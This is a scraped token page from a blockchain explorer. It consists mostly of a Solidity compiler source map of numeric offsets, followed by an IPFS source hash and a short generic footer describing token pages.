15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5199:62;;;5270:4;5277:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5199:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5168:13;:125::i;:::-;5152:141;;5067:230;;;;:::o;5408:391::-;5489:4;5502:8;5513:13;;;;;;;;;;;5502:24;;5528:6;5537:30;5545:4;:8;5550:2;5545:8;;;;;;;;;;;;;;;;;;;;;;;;;5555:11;5561:4;5555:5;:11::i;:::-;5537:7;:30::i;:::-;5528:39;;5569:8;5580:1;5569:12;;5588:4;:8;5593:2;5588:8;;;;;;;;;;;;;;;;;;;;;;;;;5587:9;:38;;;;;5601:24;5609:4;:10;5614:4;5609:10;;;;;;;;;;;;;;;;;;;;;;;;;5621:3;5601:7;:24::i;:::-;5587:38;:61;;;;;5644:4;5629:19;;:2;:19;;;;5587:61;5583:188;;;5669:1;5655:16;;:2;:16;;;5651:49;;;5682:7;5695:2;5682:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5651:49;5706:4;5700:10;;5583:188;;;5721:1;:9;;;;;5727:3;5726:4;5721:9;5717:54;;;5746:2;5738:10;;:4;:10;;;5734:36;;5764:4;5758:10;;5734:36;5717:54;5583:188;5788:3;5781:10;;;;;5408:391;;;;;:::o;5299:107::-;5370:4;5386:7;5385:8;:19;;;;;5398:6;5397:7;5385:19;5378:26;;5299:107;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:474::-;4491:6;4499;4548:2;4536:9;4527:7;4523:23;4519:32;4516:119;;;4554:79;;:::i;:::-;4516:119;4674:1;4699:53;4744:7;4735:6;4724:9;4720:22;4699:53;:::i;:::-;4689:63;;4645:117;4801:2;4827:53;4872:7;4863:6;4852:9;4848:22;4827:53;:::i;:::-;4817:63;;4772:118;4423:474;;;;;:::o;4903:329::-;4962:6;5011:2;4999:9;4990:7;4986:23;4982:32;4979:119;;;5017:79;;:::i;:::-;4979:119;5137:1;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5108:117;4903:329;;;;:::o;5238:118::-;5325:24;5343:5;5325:24;:::i;:::-;5320:3;5313:37;5238:118;;:::o;5362:222::-;5455:4;5493:2;5482:9;5478:18;5470:26;;5506:71;5574:1;5563:9;5559:17;5550:6;5506:71;:::i;:::-;5362:222;;;;:::o;5590:117::-;5699:1;5696;5689:12;5713:117;5822:1;5819;5812:12;5836:117;5945:1;5942;5935:12;5976:568;6049:8;6059:6;6109:3;6102:4;6094:6;6090:17;6086:27;6076:122;;6117:79;;:::i;:::-;6076:122;6230:6;6217:20;6207:30;;6260:18;6252:6;6249:30;6246:117;;;6282:79;;:::i;:::-;6246:117;6396:4;6388:6;6384:17;6372:29;;6450:3;6442:4;6434:6;6430:17;6420:8;6416:32;6413:41;6410:128;;;6457:79;;:::i;:::-;6410:128;5976:568;;;;;:::o;6550:559::-;6636:6;6644;6693:2;6681:9;6672:7;6668:23;6664:32;6661:119;;;6699:79;;:::i;:::-;6661:119;6847:1;6836:9;6832:17;6819:31;6877:18;6869:6;6866:30;6863:117;;;6899:79;;:::i;:::-;6863:117;7012:80;7084:7;7075:6;7064:9;7060:22;7012:80;:::i;:::-;6994:98;;;;6790:312;6550:559;;;;;:::o;7115:180::-;7163:77;7160:1;7153:88;7260:4;7257:1;7250:15;7284:4;7281:1;7274:15;7301:320;7345:6;7382:1;7376:4;7372:12;7362:22;;7429:1;7423:4;7419:12;7450:18;7440:81;;7506:4;7498:6;7494:17;7484:27;;7440:81;7568:2;7560:6;7557:14;7537:18;7534:38;7531:84;;7587:18;;:::i;:::-;7531:84;7352:269;7301:320;;;:::o;7627:180::-;7675:77;7672:1;7665:88;7772:4;7769:1;7762:15;7796:4;7793:1;7786:15;7813:191;7853:3;7872:20;7890:1;7872:20;:::i;:::-;7867:25;;7906:20;7924:1;7906:20;:::i;:::-;7901:25;;7949:1;7946;7942:9;7935:16;;7970:3;7967:1;7964:10;7961:36;;;7977:18;;:::i;:::-;7961:36;7813:191;;;;:::o;8010:182::-;8150:34;8146:1;8138:6;8134:14;8127:58;8010:182;:::o;8198:366::-;8340:3;8361:67;8425:2;8420:3;8361:67;:::i;:::-;8354:74;;8437:93;8526:3;8437:93;:::i;:::-;8555:2;8550:3;8546:12;8539:19;;8198:366;;;:::o;8570:419::-;8736:4;8774:2;8763:9;8759:18;8751:26;;8823:9;8817:4;8813:20;8809:1;8798:9;8794:17;8787:47;8851:131;8977:4;8851:131;:::i;:::-;8843:139;;8570:419;;;:::o;8995:194::-;9035:4;9055:20;9073:1;9055:20;:::i;:::-;9050:25;;9089:20;9107:1;9089:20;:::i;:::-;9084:25;;9133:1;9130;9126:9;9118:17;;9157:1;9151:4;9148:11;9145:37;;;9162:18;;:::i;:::-;9145:37;8995:194;;;;:::o;9195:180::-;9243:77;9240:1;9233:88;9340:4;9337:1;9330:15;9364:4;9361:1;9354:15;9381:233;9420:3;9443:24;9461:5;9443:24;:::i;:::-;9434:33;;9489:66;9482:5;9479:77;9476:103;;9559:18;;:::i;:::-;9476:103;9606:1;9599:5;9595:13;9588:20;;9381:233;;;:::o;9620:222::-;9760:34;9756:1;9748:6;9744:14;9737:58;9829:5;9824:2;9816:6;9812:15;9805:30;9620:222;:::o;9848:366::-;9990:3;10011:67;10075:2;10070:3;10011:67;:::i;:::-;10004:74;;10087:93;10176:3;10087:93;:::i;:::-;10205:2;10200:3;10196:12;10189:19;;9848:366;;;:::o;10220:419::-;10386:4;10424:2;10413:9;10409:18;10401:26;;10473:9;10467:4;10463:20;10459:1;10448:9;10444:17;10437:47;10501:131;10627:4;10501:131;:::i;:::-;10493:139;;10220:419;;;:::o;10645:224::-;10785:34;10781:1;10773:6;10769:14;10762:58;10854:7;10849:2;10841:6;10837:15;10830:32;10645:224;:::o;10875:366::-;11017:3;11038:67;11102:2;11097:3;11038:67;:::i;:::-;11031:74;;11114:93;11203:3;11114:93;:::i;:::-;11232:2;11227:3;11223:12;11216:19;;10875:366;;;:::o;11247:419::-;11413:4;11451:2;11440:9;11436:18;11428:26;;11500:9;11494:4;11490:20;11486:1;11475:9;11471:17;11464:47;11528:131;11654:4;11528:131;:::i;:::-;11520:139;;11247:419;;;:::o;11672:180::-;11720:77;11717:1;11710:88;11817:4;11814:1;11807:15;11841:4;11838:1;11831:15;11858:143;11915:5;11946:6;11940:13;11931:22;;11962:33;11989:5;11962:33;:::i;:::-;11858:143;;;;:::o;12007:351::-;12077:6;12126:2;12114:9;12105:7;12101:23;12097:32;12094:119;;;12132:79;;:::i;:::-;12094:119;12252:1;12277:64;12333:7;12324:6;12313:9;12309:22;12277:64;:::i;:::-;12267:74;;12223:128;12007:351;;;;:::o;12364:85::-;12409:7;12438:5;12427:16;;12364:85;;;:::o;12455:60::-;12483:3;12504:5;12497:12;;12455:60;;;:::o;12521:158::-;12579:9;12612:61;12630:42;12639:32;12665:5;12639:32;:::i;:::-;12630:42;:::i;:::-;12612:61;:::i;:::-;12599:74;;12521:158;;;:::o;12685:147::-;12780:45;12819:5;12780:45;:::i;:::-;12775:3;12768:58;12685:147;;:::o;12838:114::-;12905:6;12939:5;12933:12;12923:22;;12838:114;;;:::o;12958:184::-;13057:11;13091:6;13086:3;13079:19;13131:4;13126:3;13122:14;13107:29;;12958:184;;;;:::o;13148:132::-;13215:4;13238:3;13230:11;;13268:4;13263:3;13259:14;13251:22;;13148:132;;;:::o;13286:108::-;13363:24;13381:5;13363:24;:::i;:::-;13358:3;13351:37;13286:108;;:::o;13400:179::-;13469:10;13490:46;13532:3;13524:6;13490:46;:::i;:::-;13568:4;13563:3;13559:14;13545:28;;13400:179;;;;:::o;13585:113::-;13655:4;13687;13682:3;13678:14;13670:22;;13585:113;;;:::o;13734:732::-;13853:3;13882:54;13930:5;13882:54;:::i;:::-;13952:86;14031:6;14026:3;13952:86;:::i;:::-;13945:93;;14062:56;14112:5;14062:56;:::i;:::-;14141:7;14172:1;14157:284;14182:6;14179:1;14176:13;14157:284;;;14258:6;14252:13;14285:63;14344:3;14329:13;14285:63;:::i;:::-;14278:70;;14371:60;14424:6;14371:60;:::i;:::-;14361:70;;14217:224;14204:1;14201;14197:9;14192:14;;14157:284;;;14161:14;14457:3;14450:10;;13858:608;;;13734:732;;;;:::o;14472:831::-;14735:4;14773:3;14762:9;14758:19;14750:27;;14787:71;14855:1;14844:9;14840:17;14831:6;14787:71;:::i;:::-;14868:80;14944:2;14933:9;14929:18;14920:6;14868:80;:::i;:::-;14995:9;14989:4;14985:20;14980:2;14969:9;14965:18;14958:48;15023:108;15126:4;15117:6;15023:108;:::i;:::-;15015:116;;15141:72;15209:2;15198:9;15194:18;15185:6;15141:72;:::i;:::-;15223:73;15291:3;15280:9;15276:19;15267:6;15223:73;:::i;:::-;14472:831;;;;;;;;:::o;15309:410::-;15349:7;15372:20;15390:1;15372:20;:::i;:::-;15367:25;;15406:20;15424:1;15406:20;:::i;:::-;15401:25;;15461:1;15458;15454:9;15483:30;15501:11;15483:30;:::i;:::-;15472:41;;15662:1;15653:7;15649:15;15646:1;15643:22;15623:1;15616:9;15596:83;15573:139;;15692:18;;:::i;:::-;15573:139;15357:362;15309:410;;;;:::o;15725:180::-;15773:77;15770:1;15763:88;15870:4;15867:1;15860:15;15894:4;15891:1;15884:15;15911:185;15951:1;15968:20;15986:1;15968:20;:::i;:::-;15963:25;;16002:20;16020:1;16002:20;:::i;:::-;15997:25;;16041:1;16031:35;;16046:18;;:::i;:::-;16031:35;16088:1;16085;16081:9;16076:14;;15911:185;;;;:::o;16102:221::-;16242:34;16238:1;16230:6;16226:14;16219:58;16311:4;16306:2;16298:6;16294:15;16287:29;16102:221;:::o;16329:366::-;16471:3;16492:67;16556:2;16551:3;16492:67;:::i;:::-;16485:74;;16568:93;16657:3;16568:93;:::i;:::-;16686:2;16681:3;16677:12;16670:19;;16329:366;;;:::o;16701:419::-;16867:4;16905:2;16894:9;16890:18;16882:26;;16954:9;16948:4;16944:20;16940:1;16929:9;16925:17;16918:47;16982:131;17108:4;16982:131;:::i;:::-;16974:139;;16701:419;;;:::o;17126:177::-;17266:29;17262:1;17254:6;17250:14;17243:53;17126:177;:::o;17309:366::-;17451:3;17472:67;17536:2;17531:3;17472:67;:::i;:::-;17465:74;;17548:93;17637:3;17548:93;:::i;:::-;17666:2;17661:3;17657:12;17650:19;;17309:366;;;:::o;17681:419::-;17847:4;17885:2;17874:9;17870:18;17862:26;;17934:9;17928:4;17924:20;17920:1;17909:9;17905:17;17898:47;17962:131;18088:4;17962:131;:::i;:::-;17954:139;;17681:419;;;:::o;18106:332::-;18227:4;18265:2;18254:9;18250:18;18242:26;;18278:71;18346:1;18335:9;18331:17;18322:6;18278:71;:::i;:::-;18359:72;18427:2;18416:9;18412:18;18403:6;18359:72;:::i;:::-;18106:332;;;;;:::o

Swarm Source

ipfs://f88b5768dadeef01952dcb70de16d7bae81bcbf919698aa9360b4771ac40cf6e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.